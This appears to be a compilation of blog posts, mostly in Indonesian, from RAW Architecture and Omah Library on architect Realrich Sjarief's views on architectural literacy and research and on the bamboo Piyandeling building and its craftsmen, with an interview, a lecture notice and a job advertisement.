Sebelumnya, Hanifah pernah mengikuti exchange program Japan in Today’s World oleh Universitas Kyushu pada tahun 2018-2019 di mana ia banyak belajar mengenai budaya, masyarakat, dan keberagaman. Pengalaman tersebut memberinya sudut pandang berbeda dalam melihat dunia di mana arsitektur ternyata hanya salah satu “kacamata” saja. Meski begitu, ia tetap ingin berkontribusi pada bidang arsitektur sehingga belum lama ini ia bergabung dengan OMAH Library sebagai salah satu periset dan pustakawan. Di waktu luangnya, ia lebih suka belajar mengenai dunia melalui film, drama, buku, atau media seni lainnya. Hanifah bisa dihubungi melalui upak.upik@gmail.com atau Instagram @hanifahsausann.
Refleksi
Terima kasih saya haturkan untuk Alvar Mensana selaku kepala jurusan UPH pada saat mata kuliah ini diajarkan, rekan – rekan pengajar yang tersebar di Indonesia, untuk sebuah semangat berbagi. Keseluruhan pedagogi ini terbuka untuk dielaborasi terkait dengan pengembangannya yang berkelanjutan. Juga tidak lupa untuk Anas Hidayat dan Johannes Adiyanto untuk tulisan refleksinya di dalam buku Arsitektur Berkelanjutan untuk Mahasiswa.
Pentingnya Riset | Welcome
Hi Restless Spirits, Hope you are doing great,
Riset menjadi hal yang penting sebagai awalan mendesain dimana ada proses sadar(mudheng), kritis, menelaah data, memahami persoalan, kemudian melakukan iterasi (implementasi dan eksperimentasi).
Untuk para praktisi, riset berguna sebagai pembatas dan pembuka batasan sehingga batasan – batasan tersebut mudah dipahami dan kemudian diadaptasikan ke dalam realita perancangan yang baru.
Untuk para akademisi riset ini bisa berguna untuk jembatan teoritikal praktik dan kasus studi yang realistis. Sehingga pembahasan – pembahasan selanjutnya bisa dilakukan dengan kontekstual, kritis, dan kreatif.
Keduanya dipahami sebagai jalan untuk membuka sekat – sekat pemikiran, sehingga menghidupkan inovasi dan peningkatan kualitas proses dan produk arsitektur di praktik kami dan juga kontribusi kami untuk arsitektur di Indonesia.
Riset ini dibuat dan dipersiapkan dengan kolaboratif oleh para kontributor yang tertera di bawah dimana teori dan pembahasan yang berjarak (distance discourse) disiapkan oleh Omah Library dan studi taktis dan praktis (direct discourse) disiapkan oleh RAW Architecture.
Hal ini dilakukan dengan inspirasi yang datang dari begitu banyak intelektual yang menyumbangkan pemikirannya di Omah Library dan RAW Architecture langsung dan tidak langsung dan dalam rentang waktu yang panjang dimana mereka adalah klien, pengajar, penulis, kolega, adik, kakak, orang tua, dan teman kami.
Kedua kutub tersebut menjadi kutub otak kanan dan otak kiri yang menyeimbangkan. Kita semua masih berproses untuk bertransformasi dan memaknai hidup sebagai satu hal yang sementara, setiap titik dan detik pertemuan menyalakan bara api untuk proses dan progress.
Oleh karena itu selamat membaca, dan bertransformasi bersama, Yuk !
when we hear the word “designing”, many of us are often fixated on a portrait of a particular object, structure, or craft worth remembering functionally and aesthetically. however, perhaps also many of us underestimate the power of literacy that brings these very objects to life.
this is where realrich sjarief, a former architect at foster & partners, a poetic believer and founder of jakarta-based raw architecture, and principal architect of the famous alpha omega school and the notable omah library – sees how architectural literacy shapes one’s success story. it is a tool that creates a safe haven for one personal’s space – not only to fantasize and imagine what is yet to come, but also to broaden our horizons.
sjarief spent most of his life reading and writing architectural literature, emphasizing literacy through craftsmanship, people, and material, which led him to such methodology and philosophy.
the story began with his fond childhood memory of accompanying his father to construction sites and with his love for books that gradually turned into a passion for writing and delivering stories through design.
understanding literacy
when i was working in borneo during the great recession, i read many books and found them to give me all kinds of imaginations and the ability to understand people and settings. so reading became my escape from work and my safe haven.
then when i got accepted to bandung’s institute of technology, i came across a book by norman foster that speaks about curiosity and technology. i was lucky that i got an opportunity to work at fosters and partners and to have many amazing mentors at the start of my career. and it was the tall and narrow library at foster and partners that gave me my passion in architectural literacy, as i saw it becoming a ground for discussions to happen around a great mix of people, works, and beliefs.
it is all about a network of people
for me, architecture literacy is the essence of critical and creative thinking in architecture. it is about creating a network of people to share thoughts and discuss matters.
when we talk about literacy, it isn’t all about written stories, but it needs to be spoken as well. to be literate is not to be cynical. literacy simply means a space, whether a physical space or an imagining community, to understand that the world of knowledge has multiple perspectives – it is very broad. you have to acknowledge that you are part of something greater than you, so it is about the maturity of knowing information and digesting knowledge.
creating the “ecosystem” in the constantly-changing era
architectural literacy really helps me out whenever i am stuck in a certain project. reading case studies, theories, history, even rereading my own manuscripts will make us see different methods that remind us to not look into our problem from a single point of view only. reflect – review your work – act differently – and find new things. it truly is a method that broadens one’s horizon, because it is only by experiencing the real and the fantasy world that we can create an extraordinary solution.
Realrich Sjarief shares about sharpening both creative and critical minds when it comes to practicing, appreciating, and understanding a work of architecture and also about the importance of nurturing micro-communities to encourage learning together.
I will be presenting the lecture in title of Other Ways of Doing Architecture. Gary Yeow contacted me. As part of the co-organised sharing session with Malaysia Institute of Architects, this forum will be speculating on “Other Ways of Doing Architecture” – inspired by Spatial Agency’s publication. The first session here, conducted in December 2020. As Gary was browsing through my portfolio work, he noticed a great amount of details and experiments in my projects, especially Alfa Omega and Guha (with Omah Library & your studio), while other projects showcased great understanding of materiality as well.
The other architects are invited to the discussion such as Jan Glasmeier, from SimpleArchitecture (I know him from Design United India) and One Bite Studio from Hongkong – both are more on curations and workshops – Gary thought on looking at local materials and cultural craftsmanship ( sharing the behind-the-scenes of these successful projects?) – how these connect to genius loci and essence of Indonesia – are the core values they are very excited for.
It’s event supported by Taylor Insitute and Pertubuhan Akitek Malaysia (PAM) – Malaysian Institute of Architects – is the national professional institute representing architects in Malaysia.
Here is the link shared by Gary Yeow in his email. I found out that the discussion led by three moderators, Gary, Hazeek, and Joyee are profound, I learnt architecture as social agency from Jan and how social platform can breach towards new understanding in Sarah’s presentation. Please have a look if you are interested in link above, I do learn from them.
Here is some points that I would like to share from Laurensia’s in our journey to find happiness, in my case being a father, architect, and together with her, the dentist who supports our life as family and the lease is Miracle and Heaven ! our lovely angelic son.
Here is some discussion in interview summed by Vaibhav,
“From his firm located on the outskirts of Jakarta, Realrich wants to design buildings that are timeless and break out of the mould. His architecture comes across as honest, simple and grounded in locality which he says is achieved by working closely with regional craftsmen and adopting a minimal local material palette. He belongs to the new breed of architects that is redefining design innovation in building industry and creating a new design language for a new Indonesia.“
I have inspired by may people including Y.B. Mangunwijaya, learning the core of explorations and attitude of practice.
” Vaibhav : Which architects inform and inspire your work?
I took three trips which I refer to as pilgrimages. The first one was to see the work of Alvar Aalto. I find his work amazing because of its simplicity. I really respect him as an architect because he created functional designs with ordinary and low cost materials. Second visit was to see Le Corbusier’s work. He had the ability to make fairly simple architecture, which is at the same time very thought-provoking. Third architect that really inspire me is Carlos Scarpa. Scarpa’s attention to detail is almost unmatched and his attention to the smallest details brings his work to a point of simplicity, where even waste becomes the grammar of the design. The Indonesian figure that inspires me the most is Father Y.B. Mangunwijaya, who is an architect, writer, and philosopher. He taught me how to use local material and encouraged me to keep an attitude of having discussions with craftsmen and produce intellectual process on making.“
Here are questions elaborated by him.
Could you give us a brief introduction about yourself and your firm?
How do you reflect on the journey of your firm in last 10 years?
What is the role of form-making in your projects?
What is the role of form-making in your projects?
How do you measure success in your projects?
What are the biggest challenges that you face?
How do you support craftsmen through your work?
Can you see timber and bamboo being widely used in a mega city like Jakarta for construction?
The Alpha Omega project was finished on site in six months. How did you achieve such efficiency on site?
How do you approach sustainability in your work?
Which architects inform and inspire your work?
How does your work in university inform your work as an architect?
These questions are amazing, thought very carefully to bridge a learning, practice, teaching experience. Looking at this experience being interviewed with him, I feel that I need to gather my methodology again, this time more integrated, evaluated. It’s looping process.
“To become an architect, we need to learn how to think, draw and critically evaluate ourselves. In academics there is peer pressure to always keep evolving your design and keep improving. We are always evaluating our work and making sure we are contributing to the discourse around architecture. Teaching helps to keep my practice working, as in a small campus where we all are learning from each other, developing feedback loops.”,
please look at the link above. Thank you Vaibhav for the session of support and I also learn by connecting the discourse that you have. I love to read some of your interview with other people and your article about 2021 pritzker prize, you try to have a thought about what’s beyond form investigating the context of the practice, people, and impact of the project to people’s life.
“To become an architect, we need to learn how to think, draw and critically evaluate ourselves. In academics there is peer pressure to always keep evolving your design and keep improving. We are always evaluating our work and making sure we are contributing to the discourse around architecture. Teaching helps to keep my practice working, as in a small campus where we all are learning from each other, developing feedback loops.”,
Bangunan dengan atap meliuk – liuk ini adalah bangunan dengan struktur panggung yang terbuat dari konstruksi bambu, dengan grid 5.0 m dan 4.0 m untuk mengakomodasi fungsi ruang perpustakaan, kamar tidur, dan ruang pertemuan. Strukturnya seperti bentuk kupu – kupu atau kepakan sayap burung yang dielaborasi dari proyek Alfa Omega. Balok bambu dikakukan dengan dagu – dagu (pengkaku), sementara kolom duduk di atas umpak batu kali yang dihubungkan dengan konstruksi bambu sebagai pelataran di lantai dasar.
Bangunan dengan atap meliuk – liuk ini adalah bangunan dengan struktur panggung yang terbuat dari konstruksi bambu, dengan grid 5.0 m dan 4.0 m untuk mengakomodasi fungsi ruang perpustakaan, kamar tidur, dan ruang pertemuan. Strukturnya seperti bentuk kupu – kupu atau kepakan sayap burung yang dielaborasi dari proyek Alfa Omega.Balok bambu dikakukan dengan dagu – dagu (pengkaku), sementara kolom duduk di atas umpak batu kali yang dihubungkan dengan konstruksi bambu sebagai pelataran di lantai dasar.
Bentuk – bentuk melengkung ini sebenarnya pernah saya elaborasi di dalam Kampono (Dancer) House sebelumnya di dalam konstruksi beton dengan perhitungan terhadap sisi panas, angin yang mengalir di dalam desain massa – kulit bangunan sampai detail – detail yang lain. Dan, di balik permainan bentuk – bentuk melengkung yang muncul, ada logika kekuatan dan estetika yang terinspirasi dari bahasa alam.
Bentuk – bentuk melengkung ini sebenarnya pernah saya elaborasi di dalam Kampono (Dancer) House sebelumnya di dalam konstruksi beton dengan perhitungan terhadap sisi panas, angin yang mengalir di dalam desain massa – kulit bangunan sampai detail – detail yang lain. Dan, di balik permainan bentuk – bentuk melengkung yang muncul, ada logika kekuatan dan estetika yang terinspirasi dari bahasa alam.
Selain sisi tradisional yang ditonjolkan, sisi industri juga muncul dengan komposisi bentuk atap yang melengkung ditutupi dengan daun Nipah yang dikombinasikan dengan membran tahan air untuk atap.Membentuk Julang Ngapak sebagai bangunan vernakuler tradisional Jawa Barat. Balustrade bambu yang dilengkungkan dimainkan sebagai bentuk hiperboloid yang lebih kompleks, lebih kuat, dan lebih fleksibel serta menciptakan siluet gerakan alami burung atau pergerakan Kujang yang merupakan senjata tradisional dalam Tradisi Sunda.
Selain sisi tradisional yang ditonjolkan, sisi industri juga muncul dengan komposisi bentuk atap yang melengkung ditutupi dengan daun Nipah yang dikombinasikan dengan membran tahan air untuk atap.Membentuk Julang Ngapak sebagai bangunan vernakuler tradisional Jawa Barat.Balustrade bambu yang dilengkungkan dimainkan sebagai bentuk hiperboloid yang lebih kompleks, lebih kuat, dan lebih fleksibel serta menciptakan siluet gerakan alami burung atau pergerakan Kujang yang merupakan senjata tradisional dalam Tradisi Sunda.
Pak Jatmiko adalah orang yang membantu saya melakukan supervisi ke bangunan inti di Piyandeling, dimana ia memberikan batas seberapa tinggi bangunan dengan konstruksi bambu ini bisa dibangun dengan aman. Pak Jatmiko dulu menemani kakek saya, dan ayah saya ke proyek. Ia juga adalah pengawas bangunan dari almarhum Han Awal, dan Teddy Boen (ahli gempa Indonesia). Dari Pak Jatmiko saya belajar bahwa setiap murid membutuhkan guru dan pelatih, seorang pelatih akan bisa melihat dengan sudut pandang yang berbeda. Sebegitunya kita membutuhkan waktu untuk berlatih setiap harinya. Di kasus saya berlatih ini erat kaitannya dengan berapa banyak masalah desain yang bisa kita pelajari dan pecahkan setiap harinya dan relasi dengan beliau dimana beliau bisa menjawab dengan kata “tidak” lalu saya mulai belajar menilai keadaan dengan diskusi lebih lanjut.
Pak Jatmiko adalah orang yang membantu saya melakukan supervisi ke bangunan inti di Piyandeling, dimana ia memberikan batas seberapa tinggi bangunan dengan konstruksi bambu ini bisa dibangun dengan aman. Pak Jatmiko dulu menemani kakek saya, dan ayah saya ke proyek. Ia juga adalah pengawas bangunan dari almarhum Han Awal, dan Teddy Boen (ahli gempa Indonesia). Dari Pak Jatmiko saya belajar bahwa setiap murid membutuhkan guru dan pelatih, seorang pelatih akan bisa melihat dengan sudut pandang yang berbeda. Sebegitunya kita membutuhkan waktu untuk berlatih setiap harinya. Di kasus saya berlatih ini erat kaitannya dengan berapa banyak masalah desain yang bisa kita pelajari dan pecahkan setiap harinya dan relasi dengan beliau dimana beliau bisa menjawab dengan kata “tidak” lalu saya mulai belajar menilai keadaan dengan diskusi lebih lanjut.
Saya kenal 2 orang pengrajin, pengrajin pertama pintar berbicara, mulutnya manis-kerjanya hanya di permukaan, terlihat manis – hanya estetika tempelan, apabila diminta memasang bata ia akan memasang bata dengan apik, namun terkadang lupa bahwa di balik bata tersebut ada pipa, perhitungannya hanya sebatas manis dilihat. Sedangkan pengrajin kedua tidak pandai berbicara namun pekerjaannya halus dan langkah – langkahnya bisa membuat proyek aman karena perhitungan yang mendalam tentang prosedur kerja dan detail tahapan kerja, kekuatan, tahan terhadap air, cuaca. Seiring dengan perjalanan saya berkembang di dalam praktik, detail – detail yang saya pikirkan bertransformasi di dalam pertemuan dengan banyak pengrajin. Termasuk pertemuan dengan pengrajin pertama, saya belajar untuk susunan yang terlihat manis, sebuah kualitas yang literal. Dan, dengan pengrajin kedua saya belajar untuk masuk ke kualitas yang esensial. Kedua pola pikir diperlukan untuk bisa bermain di integrasi disiplin (MEP, Struktur, Arsitektural). Saya menyebut detail transformatif ini ke dalam detail yang berkelanjutan.
… pertemuan dengan pengrajin pertama, saya belajar untuk susunan yang terlihat manis, sebuah kualitas yang literal. Dan, dengan pengrajin kedua saya belajar untuk masuk ke kualitas yang esensial. Kedua pola pikir diperlukan untuk bisa bermain di integrasi disiplin (MEP, Struktur, Arsitektural). Saya menyebut detail transformatif ini ke dalam detail yang berkelanjutan.
Terkadang setiap 2 minggu saya berulang kali ke Piyandeling untuk memikirkan ulang detail – detail selanjutnya termasuk penggabungan detail tradisional dan industrial. Di tempat ini saya melepaskan diri sejenak dari rutinitas dan masuk di dalam dunia fantasi Piyandeling. Arsitektur memiliki kekuatan maha dahsyat untuk membuat orang mengingat pengalaman ruang yang menjadi kenangan membekas.
Terkadang setiap 2 minggu saya berulang kali ke Piyandeling untuk memikirkan ulang detail – detail selanjutnya termasuk penggabungan detail tradisional dan industrial. Di tempat ini saya melepaskan diri sejenak dari rutinitas dan masuk di dalam dunia fantasi Piyandeling. Arsitektur memiliki kekuatan maha dahsyat untuk membuat orang mengingat pengalaman ruang yang menjadi kenangan membekas.
Pada akhirnya saya sadar, seperti halnya seorang manusia yang seakan-akan memiliki dua kehidupan. Kehidupan pertama dimulai ketiga manusia tersebut berusaha menggapai banyak hal, berjuang di tengah – tengah keterbatasan sampai dirinya merasa cukup. Saya merasa perjalanan suka – duka berpraktik lekat dengan perjuangan di tahap ini.
Dan sebenarnya, kehidupan kedua dimulai ketika, dirinya sadar bahwa ia hanya punya satu kehidupan. Dari situlah saya belajar mengenai fokus dan kebahagiaan sebenarnya sehingga saya tidak merasakan apapun lagi.
Tiba – tiba ada sapaan yang hangat dari belakang.
“Mau minum pak ? satu pengrajin menawarkan kopi dengan cangkir terbuat dari bambu.”
“Terima kasih pak untuk cangkir, kopi, dan perjalanannya bersama – sama.”ini Cangkir keduasaya, puji Tuhan.
Pada akhirnya saya sadar, seperti halnya seorang manusia yang seakan-akan memiliki dua kehidupan. Kehidupan pertama dimulai ketiga manusia tersebut berusaha menggapai banyak hal, berjuang di tengah – tengah keterbatasan sampai dirinya merasa cukup. Saya merasa perjalanan suka – duka berpraktik lekat dengan perjuangan di tahap ini.
Dan sebenarnya, kehidupan kedua dimulai ketika, dirinya sadar bahwa ia hanya punya satu kehidupan. Dari situlah saya belajar mengenai fokus dan kebahagiaan sebenarnya sehingga saya tidak merasakan apapun lagi. Tiba – tiba ada sapaan yang hangat dari belakang. “Mau minum pak ? satu pengrajin menawarkan kopi dengan cangkir terbuat dari bambu.”
catatan : Foto diambil oleh Bacteria Photography kecuali foto saya diambil oleh pak Saniin, dan foto pak Rozak dan pak Saniin, saya yang mengambil.
Translation :
Title : Second Cup of My Life
The building with a twisting roof is a building with a stilt structure made of bamboo construction, with a grid of 5.0 m and 4.0 m to accommodate the functions of the library room, bedroom and meeting room. The structure is like the shape of a butterfly or the flapping of a bird’s wing which is elaborated from the Alfa Omega project. Bamboo blocks are stiffened with chin – chin (stiffeners), while the column sits on a river stone pedestal connected by a bamboo construction as a platform on the ground floor. I actually elaborated these curved shapes in the previous Kampono (Dancer) House in concrete construction by calculating the hot side, the wind that flows in the mass design – the skin of the building to other details. And, behind the game of curvy shapes that appear, there is a logic of strength and aesthetics inspired by the language of nature. Apart from the traditional side that is highlighted, the industrial side also appears with the composition of the curved roof shape covered with Nipah leaves combined with a waterproof membrane for the roof. Forming the Julang Ngapak as a traditional West Javanese vernacular building. The curved bamboo balustrade is played as a hyperboloid form that is more complex, stronger and more flexible and creates silhouettes of natural bird movements or kujang movements which are traditional weapons in Sundanese Tradition.
Pak Jatmiko is the person who helps me supervise the main building in Piyandeling, where he provides a limit on how high a building with bamboo construction can be built safely. Pak Jatmiko used to accompany my grandfather, and my father to projects. He was also the building supervisor of the late Han Awal, and Teddy Boen (Indonesian seismologist). From Pak Jatmiko I learned that every student needs a teacher and a trainer, a trainer will be able to see it from a different point of view. In fact, we need time to practice every day. In my case this practice is closely related to how many design problems we can learn and solve every day and the relationship with him where he can answer with the word “no” then I start to learn to assess the situation with further discussion.
I know 2 craftsmen, the first craftsman is good at talking, his mouth is sweet – he works only on the surface, looks cute – just a sticky aesthetic, when asked to install a brick he will put the brick neatly, but sometimes forgets that there is a pipe behind the brick, the calculation is as sweet as seen. Meanwhile, the second craftsman is not very good at talking, but the work is smooth and the steps can make the project safe because of in-depth calculations of work procedures and details of work stages, strength, resistance to water, weather. As I progressed in practice, the details I had in mind were transformed in the meetings with many craftsmen. Including meeting the first craftsman, I studied for a cute looking array, a literal quality. And, with the second craftsman I learned to get into the essential qualities. Both mindsets are needed to be able to play in the integration of disciplines (MEP, Structure, Architecture). I call this transformative detail into continuous detail
Sometimes every 2 weeks I repeatedly go to Piyandeling to rethink the next details including a mix of traditional and industrial details. In this place, I took a break from my routine and entered the fantasy world of Piyandeling. Architecture has the immense power to make people remember the experience of space that has become a lasting memory. In the end I realized, like a human who seems to have two lives. The first life started by the three humans trying to achieve many things, struggling in the midst of limitations until they feel enough. I feel that the journey of joy and sorrow is closely related to the struggle at this stage. And in fact, the second life begins when, he realizes that he only has one life. From there I learned about true focus and happiness so that I didn’t feel anything anymore.
Suddenly there was a warm greeting from behind. “Want to drink, sir? One craftsman offers coffee with a cup made of bamboo.”
“Thank you sir for the cup, coffee and the trip together.” this is my second cup, thank God.
Program Studi Arsitektur Universitas Aisyiyah (UNISA) Yogyakarta mengadakan #KUAS-03 (kuliah umum Arsitektur Unisa)
Tema : Metode dan Pendekatan Perancangan Arsitektur Pemateri : Realrich Sjarief, S.T.,MUDD @rawarchitecture_best (RAW Architect & Omah Library) Senin, 22 Februari 2021 Pukul : 13.00-selesai Media : Zoom Terbuka untuk Umum
Piyandeling terletak di desa Mekarwangi di Perbukitan di Dago Utara. Daerah ini memiliki suhu yang rendah, kecepatan angin yang tinggi, dan pepohonan eksisting yang rimbun yang membantu untuk mencegah longsor. Sebenarnya membangun di lahan ini sangat sulit di awal konstruksi, karena sulitnya akses transportasi, air, dan akses tenaga kerja sekaligus udara yang dingin. Dengan menggunakan bambu, permasalahan ini teratasi karena ketersediaan material bambu sebagai material lokal, dan karena beratnya yang ringan sehingga mudah dimobilisasi, dan cepat dikonstruksi dengan detail yang adaptif di dalam keterbatasan sumber daya.
Tampak depan didesain dengan pertimbangan untuk melindungi konstruksi bambu supaya awet dan tahan lama. Dari sisi luar, kulit bangunan terbuat dari bambu, plastik daur ulang dan atap nipah. Kulit bangunan ini berfungsi sebagai pelindung dari matahari dan curah hujan sekaligus memberikan ruang antara ruang inti bangunan (core) dan kulit bangunan dengan lorong antara.
Tampak depan didesain dengan pertimbangan untuk melindungi konstruksi bambu supaya awet dan tahan lama. Dari sisi luar, kulit bangunan terbuat dari bambu dan plastik daur ulang, dengan atap nipah. Kulit bangunan ini berfungsi sebagai pelindung dari matahari dan curah hujan sekaligus memberikan ruang antara ruang inti bangunan (core) dan kulit bangunan dengan lorong antara.Kulit bangunan ini memiliki beberapa komponen, pertama Jendela memiliki lebar 500 – 600 mm, kedua lorong antara dimana terletak tangga dan ruang jemur sekaligus berfungsi sebagai proteksi struktur utama bangunan. Piyandeling didesain berbentuk silider untuk mengurangi beban angin dan melindungi ruang keluarga, ruang tidur, ruang kerja yang terletak di sisi terdalam dari bangunan inti.
Kulit bangunan ini memiliki beberapa komponen, pertama Jendela memiliki lebar 500 – 600 mm, kedua lorong antara dimana terletak tangga dan ruang jemur sekaligus berfungsi sebagai proteksi struktur utama bangunan. Piyandeling didesain berbentuk silider untuk mengurangi beban angin dan melindungi ruang keluarga, ruang tidur, ruang kerja yang terletak di sisi terdalam dari bangunan inti.
Detail – detail didesain untuk mempertimbangkan aspek fungsional untuk saling memperkuat elemen arsitektural dari struktur, lorong antara, dan kulit bangunan.
Sederhananya bangunan ini dinamakan Sumarah, karena menggunakan bahan – bahan daur ulang dari Paviliun Sumarah. Sumarah berarti kepasrahan, sebuah sikap untuk mengalir di dalam kehidupan. Dari Piyandeling kita belajar untuk lentur sekaligus kokoh, dan ia mengajarkan material lain yang kokoh untuk lentur. Sebuah fleksibilitas yang mengalir.
Ada satu kejadian di waktu kami melakukan inspeksi lapangan di proyek lain, taruhlah namanya proyek Srabi. Inspeksi lapangan ini identiknya seperti memberikan ruang antara, jembatan antara klien, kontraktor, dan disiplin – disiplin lain supaya berjalan harmoni.
Baru kemarin saya rapat dengan satu klien dan kontraktornya, saya melihat di lokasi, kenapa pekerjaan lift yang ada di tengah rumah tidak dikerjakan dan seakan – akan tertinggal. Kami meluangkan waktu untuk melihat data – data yang ada, ternyata gambarnya tidak lengkap dan ada banyak ketidak-konsistenan, sehingga orang lapangan kebingungan.
Saya membuka diskusi dengan bertanya ke vendor lift di depan saya :
“Pak, ini gambarnya tidak lengkap ya ?”
Saya memberikan referensi kenapa gambarnya tidak lengkap, dengan memberikan contoh bahwa lubang lift perlu “digambar” untuk memperlihatkan besaran bracket struktural yang tersedia, dan perlu hati – hati dengan ketinggian lokasi. Hal ini wajar terjadi karena terkadang, beberapa vendor tidak memiliki orang teknikal. Gambar menjadi penting sebagai sarana komunikasi dan tanggung jawab sekaligus kontrol untuk menghindari adanya kesalahan.
Pertanyaan kemudian muncul, bracket struktural itu perlu disupply oleh siapa ?
Kemudian nada orang di hadapan saya ini meninggi,
“katanya bapak sudah pernah bekerja sama orang lift lain ?? Kok begini saja tidak tahu ??”
Saya menatap satu orang dari vendor ini, dan sedih sebenarnya karena saya berusaha menjembatani data yang kurang di lapangan. Untungnya ada temannya yang memberikan informasi bahwa ketinggian kaca yang akan datang untuk lift tersebut adalah 3.0 m dan diperlukan ketinggian balok 2.1 m untuk pintu masuk. Setelah saya mendapatkan data tersebut dan mendapatkan kepastian bahwa bracket struktural itu akan disediakan oleh vendor tersebut, saya bilang ke klien saya,
“Pak sudah cukup kita sudah dapat apa yang perlu dilakukan.”
Saya pikir di dalam project, penting untuk bisa melihat substansi yang ada yaitu gambar, dan memang di dalam gambar diperlukan beberapa penyesuaian di luar verbal. Di dalam gambar, ada dua tingkatan, tingkatan pertama gambar itu bicara sendirian, tingkatan kedua gambar tersebut menyesuaikan dengan kondisi sekitarnya, semudah menyesuaikan dengan ketinggian di potongan dan detail potongan, tata letak kondisi eksisting yang ada dengan denah dan penjelasan berapa dimensi yang dibutuhkan untuk menjadi “jembatan” antar disiplin.
“Pak Real saya minta maaf ya karena memang dia orangnya keras, dia cuma sales Pak” klien saya menyapa di akhir diskusi kami setelah kita selesai berkordinasi membicarakan desain.
Mendengar komentar klien seperti ini membuat kerja arsitek terapresiasi, dan hal ini akan membuat dunia arsitektur bersama kita semakin maju dengan cara yang sederhana.
Untuk kejadian di atas anggap saja cara penyampaian saya, bahasa saya salah. Yang terutama adalah proyek, dan klien tidak terlantar akibat gambar tidak lengkap dan orang lapangan tidak kebingungan lagi. Memang wajar setidaknya proyek membutuhkan waktu dan setiap orang – orang di dalamnya punya masalah – masalahnya sendiri. Kuncinya adalah bagaimana kita bisa saling menyelesaikan masalah di luar personal kita itu yang terpenting.
Saya kembali teringat dengan Piyandeling dan Sumarah yang ada di Bandung, dengan material apapun kita dari keras belajar untuk lembut, dan dari sosok yang mengalir belajar untuk lebih tegas, semua pihak saling belajar tanpa henti seumur hidup. Satu saat setelah saya melakukan inspeksi lapangan disana saya tersenyum melihat kerja keras mereka melakukan menutup celah bambu yang tidak mudah untuk membuat bambu awet, sisi suka dan duka, terekam di dalam pembelajaran tanpa henti di dalam proyek lain dan juga Piyandeling.
Untuk kejadian di atas anggap saja cara penyampaian saya, bahasa saya salah. Yang terutama adalah proyek, dan klien tidak terlantar akibat gambar tidak lengkap dan orang lapangan tidak kebingungan lagi. Memang wajar setidaknya proyek membutuhkan waktu dan setiap orang – orang di dalamnya punya masalah – masalahnya sendiri. Kuncinya adalah bagaimana kita bisa saling menyelesaikan masalah di luar personal kita itu yang terpenting.
Terima kasih Pak Saniin dan Pak Rozak. Mereka adalah 2 dari 4 tukang bambu yang ada di Piyandeling. Saya kembali teringat dengan Piyandeling dan Sumarah yang ada di Bandung, dengan material apapun kita dari keras belajar untuk lembut, dan dari sosok yang mengalir belajar untuk lebih tegas, semua pihak saling belajar tanpa henti seumur hidup. Satu saat setelah saya melakukan inspeksi lapangan disana saya tersenyum melihat kerja keras mereka melakukan menutup celah bambu yang tidak mudah untuk membuat bambu awet, sisi suka dan duka, terekam di dalam pembelajaran tanpa henti di dalam proyek lain dan juga Piyandeling.
As Realrich Architecture Workshop (RAW Architecture) grows in Indonesia, we are calling back restless souls to experiment, learn from the ground up and want to explore design to work together with a multi-disciplinary studio team. Our designs progress from symbolic designs to more analytical designs.
We invite you to join us in RAW Architecture as our family. For further information please contact us to kak Yudith (+62 8161644022)
Able to design space with function, shapes, and form
Have interest to discuss design thinking
Familiar with design tools – common CAD and Graphic
Familiar with IT facilities
Work on every day, regular time
Good knowledge of social media
Good knowledge of book layout and graphic design
Basic photography and video editing is an advantage
Experience in project management is a plus
Able to work in well integrated team with Structure, Mechanical, and Designers.
Responsibilities
Designing architecture and assisting Realrich and team leaders in RAW Architecture project
Coordinating project for design research practice – management – built
Selecting, developing, cataloging and classifying material resources for projects
Using library systems and special computer applications
Managing budgets and resources
Promoting the studio’s event and resources to public.
Apply Now Send us your motivation letter, curriculum vitae, portfolio to this form by google drive link have a question ? please contact Laurensia +62 8161644022 (Whatsapp)
Terlihat dari depan Piyandeling menggunakan struktur yang melayang untuk menjaga kelembapan dari struktur bambu sekaligus memanfaatkan ruang di bawah sebagai area garasi terbuka. Di daerah ini dimanfaatkan juga untuk kamar mandi komunal. Secara alami sebenarnya daerah ini memiliki tanah yang lebih tinggi yang diakibatkan pengurugan dari lahan sekitar, namun seiring jalan lahan ini rawan longsor. Oleh karena itu tahap pertama adalah memperkuat konstruksi turap yang berfungsi sebagai dinding lahan.
Pengrajin – pengrajin yang terlibat disini juga pernah terlibat di dalam pembangunan sekolah Alfa Omega dan Guha Bambu, ada Mang Amud, Mang Saniin, Mang Rojak, Mang Uyu, Mang Deden, dan lain – lain.
Area yang terlihat di dalam gambar ini adalah kolong dari bagian dari bangunan yang dinamakan Sumarah. Material yang digunakan untuk lantai adalah batu kali yang merupakan batu yang didapatkan di dasar sungai ketika kita berjalan ke dasar lembah. Batu itu keras, namun kita bisa belajar mengenai bagaimana kekerasan itu dilembutkan dan mengalir dari daya adaptasi ketukangan yang muncul dari pengrajin bambu.
Area yang terlihat di dalam gambar ini adalah kolong dari bagian dari bangunan yang dinamakan Sumarah. Material yang digunakan untuk lantai adalah batu kali yang merupakan batu yang didapatkan di dasar sungai ketika kita berjalan ke dasar lembah. Batu itu keras, namun kita bisa belajar mengenai bagaimana kekerasan itu dilembutkan dan mengalir dari daya adaptasi ketukangan yang muncul dari pengrajin bambu. Di daerah ini dulunya juga sering mati lampu, dan juga air bisa mendadak mati, karena masih menggunakan pipa air berbentuk selang yang terbuka (tidak tertanam). Sehingga proses menemukan batuan tersebut adalah ketika tukang- tukang perlu mengambil air pada waktu itu, dan tiba – tiba mereka memberitahukan,
bagaimana kalau kita menggunakan batu – batu dari kali pak ?
Tahap pertama adalah menyelesaikan dinding turap, umpak, penggalian resapan dengan artistik. Dari tukang – tukang ini saya belajar mengenai membentuk karakter yang lembut dengan teknik yang matang, dan prosesnya membutuhkan waktu dan dialog yang terjadi.
Para pengrajin ini berubah dari mengetahui bambu, menjadi merangkai apapun, termasuk bebatuan yang keras, bebatuan tersebut kemudian membentuk bentuk daun yang disusun berbentuk daun dengan didesain dengan mempertimbangkan aliran air yang meresap perlu untuk ke tanah. Patut diingat di daerah ini tidak ada infrastruktur pembuangan saluran air. Jadi tahap pertama adalah menyelesaikan dinding turap, umpak, penggalian resapan dengan artistik. Dari mereka saya belajar mengenai membentuk karakter yang lembut dengan teknik yang matang, dan prosesnya membutuhkan waktu dan dialog yang terjadi.
Para pengrajin ini berubah dari mengetahui bambu, menjadi merangkai apapun, termasuk bebatuan yang keras, bebatuan tersebut kemudian membentuk bentuk daun yang disusun berbentuk daun dengan didesain dengan mempertimbangkan aliran air yang meresap perlu untuk ke tanah.
